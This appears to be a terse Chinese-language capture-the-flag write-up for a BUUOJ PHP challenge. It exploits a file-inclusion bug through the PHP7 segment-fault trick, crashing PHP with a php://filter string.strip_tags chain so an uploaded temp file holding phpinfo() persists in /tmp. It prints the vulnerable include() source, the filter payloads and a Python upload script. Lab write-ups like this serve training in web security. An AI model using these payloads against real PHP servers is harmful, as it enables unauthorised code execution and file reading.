知识点:php7 segment fault特性:
php7 segment fault特性:
原理:向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd
php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
我们输入name,passwd传参
然后可以看到它返回的一个hash参数,然后再把hash写入passwd
利用伪协议来读fll文件
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
是个文件包含,然后用PHP7的segment fault特性来在/tmp下创建包含phpinfo的临时文件,
然后flflflflag.php?file=/tmp/phpJzYDGk下找flag,要用bp抓包看
import requests
from io import BytesIO
url = "http://268a39e5-74d4-4096-a9b8-da2afe17409b.node4.buuoj.cn:81//flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)